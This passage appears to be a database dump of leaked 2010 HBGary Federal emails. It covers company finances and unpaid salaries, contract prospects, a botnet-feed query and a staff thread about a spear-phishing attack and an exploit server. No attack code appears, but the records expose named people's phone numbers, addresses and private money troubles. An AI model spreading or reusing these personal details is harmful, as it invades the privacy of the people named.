support.\r\n> Being in sales I rely on him for many things, and he always comes through\r\n> with a no problem attitude and nails it.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',15401,'aaron_hbgary_com/15401.html'),(7927,'2010-06-29','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006138.M193083P14101Q2782.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: China Bans Military Personnel From Blogging','that\'s ok, they still use electricity, computers and phones... ;)\r\n\r\nJust landed in LA.  No rest for the wicked...  What is the name of the\r\nbook we were talking about in miami?  Do u remember?  Thx!\r\n\r\nOn 6/27/10, Aaron Barr  wrote:\r\n> That problematic.  We will see how long it lasts.\r\n>\r\n> *China Bans Military Personnel From\r\n> Blogging*\r\n> eldavojohn writes \"China has banned all 2.3M members of its military from\r\n> blogging — even personal, non-military blogs. From the announcement of the\r\n> new regulation: \'Soldiers cannot open blogs on the Internet no matter\r\n> (whether) he or she does it in the capacity of a soldier or not. The\r\n> Internet is complicated and we should guard against online traps.\' While the\r\n> official word seems to not be translated to English yet, the same apparently\r\n> goes for websites or homepages owned by soldiers; there is no indication as\r\n> to whether or not this applies to sites like Facebook or Renren (which the\r\n> USMC bans). Similarly, as of 2007, the US requires active duty soldiers to\r\n> clear any posting with a superior officer, and Israel had to cancel an\r\n> operation due to a Facebook status update. A military blog aggregating site\r\n> claims only a few Chinese military blogs indexed, but it looks like as of\r\n> June 15 that list may have shortened.\"\r\n>\r\n> \r\n> \r\n>\r\n> Read more of this\r\n> storyat\r\n> Slashdot.\r\n>\r\n> \r\n>  \r\n>\r\n>\r\n> Sent from my iPad\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',6998,'aaron_hbgary_com/6998.html'),(7928,'2010-06-29','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006138.M417846P14101Q2783.eml','rich@hbgary.com,rich@hbgary.com,','Re: Chark is a pleasure to work with','Chark is also the ultimate gatekeeper -- no one can get by him :)\r\nOn Mon, Jun 28, 2010 at 5:32 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\nI agree wholeheartedly with Bob.  Charles goes above and beyond tomake the hbgary customer experience as food as it can be.  Thank you\r\nCharles!On 6/28/10, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:&gt; Everybody,&gt;&gt;&gt;&gt; I just want to put out the word that Chark does a great job in support.\r\n&gt; Being in sales I rely on him for many things, and he always comes through&gt; with a no problem attitude and nails it.&gt;&gt;&gt;&gt; Bob&gt;&gt;&gt;&gt;&gt;&gt;\r\n--Sent from my mobile device-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n',7895,'aaron_hbgary_com/7895.html'),(7929,'2010-06-29','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006138.M656656P14101Q2784.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Executive Biz','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis bill was for your membership.&nbsp; We were going to split\r\nit.&nbsp; Did you pay any portion or should I pay whole amount?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5174,'aaron_hbgary_com/5174.html'),(7930,'2010-06-29','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297006138.M939443P14101Q2785.eml','all@hbgary.com','Spear phishing','Hey guys I need to give you guys a heads up, we are getting emails from support@hbgary.com (not really from support) stating your security questions have changed or are being updated.  Please DO NOT go to the website it directs you to.  If you get any emails like this or suspicious emails in general let me know and we will deal with them accordingly.  Thank you and have a great evening.\r\nCharles\r\n',10257,'aaron_hbgary_com/10257.html'),(7931,'2010-06-29','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006139.M157953P14101Q2786.eml','\"Charles Copeland\" <charles@hbgary.com>,\"Charles Copeland\" <charles@hbgary.com>','Re: Spear phishing','I for one got hit with it.  My browser stopped the link after I clicked it.  (Yes, I clicked it, to see what would happen - don&#39;t try this at home).  The link redirects to an exploit server in Turkey.  Phil is taking a look at the malware payload now.\r\n\r\n \r\n-Greg\r\nOn Mon, Jun 28, 2010 at 5:50 PM, Charles Copeland &lt;charles@hbgary.com&gt; wrote:\r\nHey guys I need to give you guys a heads up, we are getting emails from support@hbgary.com (not really from support) stating your security questions have changed or are being updated.  Please DO NOT go to the website it directs you to.  If you get any emails like this or suspicious emails in general let me know and we will deal with them accordingly.  Thank you and have a great evening. \r\n\r\nCharles\r\n',12099,'aaron_hbgary_com/12099.html'),(7932,'2010-06-29','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006139.M371939P14101Q2787.eml','\"Barr Aaron\" <aaron@hbgary.com>','BAE','I called Joe @ BAE again and got his voicemail, left a message. I\'m running an endgames scan on BAE now. Maybe that will impress him...\r\n\r\nTed\r\n\r\n\r\n',9590,'aaron_hbgary_com/9590.html'),(7933,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006139.M604407P14101Q2788.eml','\"Lee, Tamika D\" <tdlee6@nsa.gov>','Re: ReBl 2010 Symposium - Consent to Publication','On Jun 24, 2010, at 12:27 PM, Lee, Tamika D wrote:Good Afternoon,&nbsp;Thank you for speaking at this year’s ReBl Symposium. It was a great success, thanks to you!&nbsp;&nbsp;Before we can post your briefs and/or contact information, we need your consent. &nbsp;Please place an x on the line that suits your wish.&nbsp;&nbsp;I &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x___DO&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ___DO NOT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CONSENT TO PUBLICATION OF PRESENTATION.&nbsp;I &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x___DO&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ___DO NOT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CONSENT TO PUBLICATION OF CONTACT INFORMATION.&nbsp;Thanks again for making ReBl a success!&nbsp;&nbsp;Sincerely,&nbsp;Tamika LeeReBl Staff\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12299,'aaron_hbgary_com/12299.html'),(7934,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006139.M836564P14101Q2789.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Executive Biz','Hey Penny,Right we agreed to split it. &nbsp;We have not paid any portion yet though, so if you could pay it and deduct from our balance.I am getting a little worried. &nbsp;August things start to pick up but between now and then things are just really tight and we keep falling a little bit further behind. &nbsp;This Friday is payday and we have enough to cover Mark but not Ted or Myself again. &nbsp;That is two paychecks down and about $10K in travel and computing expenses for me that I haven\'t been able to submit yet.I really need to have a conversation with you about where we are and get your perspective. &nbsp;I think its the last dry spot, but I am completely spent and don\'t have anything personally left to stretch and I think Ted is in the same boat.AaronOn Jun 28, 2010, at 8:41 PM, Penny Leavy-Hoglund wrote:This bill was for your membership.&nbsp; We were going to split it.&nbsp; Did you pay any portion or should I pay whole amount?&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6707,'aaron_hbgary_com/6707.html'),(7935,'2010-06-29','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006140.M153573P14101Q2790.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Executive Biz','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, I can call you tomorrow.&nbsp; I know we just paid for some work\r\nyou did for us and that more funding is supposed to hit.&nbsp; I also thought Ted\r\nhad one year of a buffer, at least I was told he told Greg that.&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, June 28, 2010 6:17 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Executive Biz\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Penny,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRight we agreed to split it. &nbsp;We have not paid any\r\nportion yet though, so if you could pay it and deduct from our balance.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am getting a little worried. &nbsp;August things start to\r\npick up but between now and then things are just really tight and we keep falling\r\na little bit further behind. &nbsp;This Friday is payday and we have enough to\r\ncover Mark but not Ted or Myself again. &nbsp;That is two paychecks down and\r\nabout $10K in travel and computing expenses for me that I haven\'t been able to\r\nsubmit yet.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI really need to have a conversation with you about where we\r\nare and get your perspective. &nbsp;I think its the last dry spot, but I am\r\ncompletely spent and don\'t have anything personally left to stretch and I think\r\nTed is in the same boat.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 28, 2010, at 8:41 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis\r\nbill was for your membership.&nbsp; We were going to split it.&nbsp; Did you\r\npay any portion or should I pay whole amount?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nC. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary,\r\nInc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE &#8211;&nbsp;Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for&nbsp;&nbsp; delivering the message to the intended recipient,\r\nbe advised that you have received this message in error and that any\r\ndissemination, copying or use of this message or attachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8638,'aaron_hbgary_com/8638.html'),(7936,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006140.M388359P14101Q2791.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Executive Biz','?Begin forwarded message:From: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date: June 28, 2010 9:21:19 PM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: Executive BizOK, I can call you tomorrow.&nbsp; I know we just paid for some work you did for us and that more funding is supposed to hit.&nbsp; I also thought Ted had one year of a buffer, at least I was told he told Greg that.&nbsp;&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, June 28, 2010 6:17 PMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;Re: Executive Biz&nbsp;Hey Penny,&nbsp;Right we agreed to split it. &nbsp;We have not paid any portion yet though, so if you could pay it and deduct from our balance.&nbsp;I am getting a little worried. &nbsp;August things start to pick up but between now and then things are just really tight and we keep falling a little bit further behind. &nbsp;This Friday is payday and we have enough to cover Mark but not Ted or Myself again. &nbsp;That is two paychecks down and about $10K in travel and computing expenses for me that I haven\'t been able to submit yet.&nbsp;I really need to have a conversation with you about where we are and get your perspective. &nbsp;I think its the last dry spot, but I am completely spent and don\'t have anything personally left to stretch and I think Ted is in the same boat.&nbsp;Aaron&nbsp;&nbsp;On Jun 28, 2010, at 8:41 PM, Penny Leavy-Hoglund wrote:This bill was for your membership.&nbsp; We were going to split it.&nbsp; Did you pay any portion or should I pay whole amount?&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3798,'aaron_hbgary_com/3798.html'),(7937,'2010-06-29','\"Rodrigo Antao\" <rodrigoantao@gmail.com>','/aaron@hbgary.com/new/1297006140.M747035P14101Q2792.eml','\"Aaron Barr\" <aaron@hbgary.com>','Convite para se conectar no LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n      Rodrigo Antao requested to add you as a connection on LinkedIn:\r\n\r\n  \r\n    Aaron,\r\n\r\nEu gostaria de adicioná-lo(a) à minha rede profissional no LinkedIn. -Rodrigo\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Rodrigo Antao\r\n         \r\n     \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',4967,'aaron_hbgary_com/4967.html'),(7938,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006141.M172712P14101Q2793.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Executive Biz','Only thing that comes to mind is that I mentioned the ARSTRAT/BAE opp to Greg, but caveated it. Not sure how he got that from the conversation...On Jun 28, 2010, at 7:23 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n?Begin forwarded message:\r\nFrom: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: June 28, 2010 9:21:19 PM EDT\r\nTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Executive Biz\r\n\r\nOK, I can call you tomorrow.  I know we just paid for some work you did for us and that more funding is supposed to hit.  I also thought Ted had one year of a buffer, at least I was told he told Greg that.  \r\n \r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 28, 2010 6:17 PMTo: Penny Leavy-HoglundSubject: Re: Executive Biz\r\n \r\nHey Penny, \r\nRight we agreed to split it.  We have not paid any portion yet though, so if you could pay it and deduct from our balance.\r\n I am getting a little worried.  August things start to pick up but between now and then things are just really tight and we keep falling a little bit further behind.  This Friday is payday and we have enough to cover Mark but not Ted or Myself again.  That is two paychecks down and about $10K in travel and computing expenses for me that I haven&#39;t been able to submit yet.\r\n \r\nI really need to have a conversation with you about where we are and get your perspective.  I think its the last dry spot, but I am completely spent and don&#39;t have anything personally left to stretch and I think Ted is in the same boat.\r\n \r\nAaron \r\n On Jun 28, 2010, at 8:41 PM, Penny Leavy-Hoglund wrote:\r\n\r\nThis bill was for your membership.  We were going to split it.  Did you pay any portion or should I pay whole amount?\r\n \r\nPenny C. Leavy\r\nPresident\r\nHBGary, Inc\r\n \r\n \r\nNOTICE – Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)\r\n \r\nThis message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for   delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly\r\n \r\n \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n \r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',11656,'aaron_hbgary_com/11656.html'),(7939,'2010-06-29','\"S. Alan  Carroll\" <alan@endgames.us>','/aaron@hbgary.com/new/1297006141.M447065P14101Q2794.eml','ted@hbgary.com,ted@hbgary.com,,,,','RE: Sicily API','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nLet\r\nme try to clarify this if I can. \r\n\r\n&nbsp;\r\n\r\nWe\r\ndo our best to track, research, and understand the intricacies of all\r\nbotnet/malicious behavior.&nbsp; When there is a widely spread infection (i.e.\r\nDownadup) – As I’m sure you are familiar, the media, intelligence community,\r\nand security researchers will commonly assign a name (e.g. Conficker) to better\r\ncommunicate amongst cooperating groups regarding material on that specific\r\nmalicious activity.&nbsp; We don’t solely concern ourselves with just the more\r\npopular botnets, but are also interested in understanding the behavior of ALL\r\nbotnets, including the smaller ones.&nbsp; It is difficult to assign names\r\nwhile researching these, so we must default to an “Unknown” state until we are\r\ncertain of the bots particular characteristics.&nbsp; Once an agreeable\r\nunderstanding has been reached, it then becomes possible to assign names and\r\ndeliver description/behavior material to that malicious activity.&nbsp; Because\r\nof the uncertainty surrounding “Unknown” bots, we generally have a small weight\r\nassociated with these as opposed to a higher weighting for other\r\nwell-understood bots (e.g. Zeus).\r\n\r\n&nbsp;\r\n\r\nIn\r\nshort, it is a catch-all, but we still classify them on our end in hopes to\r\neventually assign a common name to them.\r\n\r\n&nbsp;\r\n\r\nHope\r\nthis helps.  If there is anything else, please feel free to ask away.  We hope\r\nyou are enjoying the Sicily service and finding it useful.\r\n\r\n&nbsp;\r\n\r\nS.\r\nAlan Carroll\r\n\r\nEngineering\r\nManager\r\n\r\nEndgame\r\nSystems, LLC\r\n\r\n404-781-2956\r\n(office)\r\n\r\n404-409-7403\r\n(cell)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt; \r\nTo: Daniel Ingevaldson; David Gerulski; Chris Rouland \r\nCc: Barr Aaron &lt;aaron@hbgary.com&gt;; mark@hbgary.com\r\n&lt;mark@hbgary.com&gt; \r\nSent: Mon Jun 28 19:19:40 2010\r\nSubject: Sicily API \r\n\r\n\r\n\r\nHi,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\'ve found a number of systems that have events flagged as\r\n&quot;UNKNOWN&quot;, example follows below:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;IP : 204.128.192.3Confidence : 99.992982%Events :         Unknown : Fri Jun 18 02:53:13 2010 GMT&nbsp;Can you provide an explanation of what Unknown means, ie is it a catch-all for&nbsp;a family of botnets?&nbsp;Thanks,Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n',621,'aaron_hbgary_com/621.html'),(7940,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006141.M673827P14101Q2795.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Executive Biz','She must be talking about the invoice I sent this morning? On Jun 28, 2010, at 7:23 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n?Begin forwarded message:\r\nFrom: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: June 28, 2010 9:21:19 PM EDT\r\nTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Executive Biz\r\n\r\nOK, I can call you tomorrow.  I know we just paid for some work you did for us and that more funding is supposed to hit.  I also thought Ted had one year of a buffer, at least I was told he told Greg that.  \r\n \r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 28, 2010 6:17 PMTo: Penny Leavy-HoglundSubject: Re: Executive Biz\r\n \r\nHey Penny, \r\nRight we agreed to split it.  We have not paid any portion yet though, so if you could pay it and deduct from our balance.\r\n I am getting a little worried.  August things start to pick up but between now and then things are just really tight and we keep falling a little bit further behind.  This Friday is payday and we have enough to cover Mark but not Ted or Myself again.  That is two paychecks down and about $10K in travel and computing expenses for me that I haven&#39;t been able to submit yet.\r\n \r\nI really need to have a conversation with you about where we are and get your perspective.  I think its the last dry spot, but I am completely spent and don&#39;t have anything personally left to stretch and I think Ted is in the same boat.\r\n \r\nAaron \r\n On Jun 28, 2010, at 8:41 PM, Penny Leavy-Hoglund wrote:\r\n\r\nThis bill was for your membership.  We were going to split it.  Did you pay any portion or should I pay whole amount?\r\n \r\nPenny C. Leavy\r\nPresident\r\nHBGary, Inc\r\n \r\n \r\nNOTICE – Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)\r\n \r\nThis message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for   delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly\r\n \r\n \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n \r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',9047,'aaron_hbgary_com/9047.html'),(7941,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006146.M259309P14101Q2796.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Executive Biz','OK.Ted just invoiced today for I think $5,500 and we do have a round of funding coming on the 1st. &nbsp;We are just really tight thats all. &nbsp;So just want to talk to you about where we are and our efforts. &nbsp;Not sure about Teds buffer, first I have heard of it.AaronOn Jun 28, 2010, at 9:21 PM, Penny Leavy-Hoglund wrote:OK, I can call you tomorrow.&nbsp; I know we just paid for some work you did for us and that more funding is supposed to hit.&nbsp; I also thought Ted had one year of a buffer, at least I was told he told Greg that.&nbsp;&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, June 28, 2010 6:17 PMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;Re: Executive Biz&nbsp;Hey Penny,&nbsp;Right we agreed to split it. &nbsp;We have not paid any portion yet though, so if you could pay it and deduct from our balance.&nbsp;I am getting a little worried. &nbsp;August things start to pick up but between now and then things are just really tight and we keep falling a little bit further behind. &nbsp;This Friday is payday and we have enough to cover Mark but not Ted or Myself again. &nbsp;That is two paychecks down and about $10K in travel and computing expenses for me that I haven\'t been able to submit yet.&nbsp;I really need to have a conversation with you about where we are and get your perspective. &nbsp;I think its the last dry spot, but I am completely spent and don\'t have anything personally left to stretch and I think Ted is in the same boat.&nbsp;Aaron&nbsp;&nbsp;On Jun 28, 2010, at 8:41 PM, Penny Leavy-Hoglund wrote:This bill was for your membership.&nbsp; We were going to split it.&nbsp; Did you pay any portion or should I pay whole amount?&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6587,'aaron_hbgary_com/6587.html'),(7942,'2010-06-29','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297006146.M485903P14101Q2797.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Spear phishing','The joys of HTML email.  Nothing special in the message, just a tricky href.  The next site contains an invisible iframe which redirects to a another site.  I have spoofed my referer and come from multiple IP addresses but it keeps 403ing me.  I&#39;ll try a few more tricks but it could be down by now.\r\nOn Mon, Jun 28, 2010 at 8:54 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nI for one got hit with it.  My browser stopped the link after I clicked it.  (Yes, I clicked it, to see what would happen - don&#39;t try this at home).  The link redirects to an exploit server in Turkey.  Phil is taking a look at the malware payload now.\r\n\r\n\r\n \r\n-Greg\r\nOn Mon, Jun 28, 2010 at 5:50 PM, Charles Copeland &lt;charles@hbgary.com&gt; wrote:\r\nHey guys I need to give you guys a heads up, we are getting emails from support@hbgary.com (not really from support) stating your security questions have changed or are being updated.  Please DO NOT go to the website it directs you to.  If you get any emails like this or suspicious emails in general let me know and we will deal with them accordingly.  Thank you and have a great evening. \r\n\r\nCharles\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',6704,'aaron_hbgary_com/6704.html'),(7943,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006146.M691277P14101Q2798.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Executive Biz','To put it down on paper here is what we have starting to come in August.LANL Pentest - $30KCommercial Integration - $? (I am guessing 1-2 people but don\'t know for how long) This is the Ray Owen work.BAE for ARSTRAT. &nbsp;-$120K? &nbsp;This is 1FTE long term being directed by the government to BAE. &nbsp;We haven\'t been able to close loop with BAE.FBI ESOC - $120K. &nbsp;We are awaiting award. &nbsp;Probably 50% PWIN for this.Training - I know Ted is lining up some training work.Other good opportunities we are chasing.Social Media Training (I am writing the course now. &nbsp;Once it is done I am confident I can sell it. &nbsp;We are the experts in this field and the training is needed).COIN - This is our old work and I have put together a kickass team that should win the work, but the RFP just got delayed again until September which means an award probably isn\'t until Nov./Dec.GaitorBait - this is a $30M contract for the UNO customer to consolidate all their forensics work. &nbsp;We are talking to Mantech for teaming.TMC - We will work to productize this, put more features that provide value directly to OpsCenters.I know this is all just what happens when your a new business you work by the skin of your teeth until you get a few solid hits, which we are near.Talk to you tomorrow.AaronOn Jun 28, 2010, at 9:21 PM, Penny 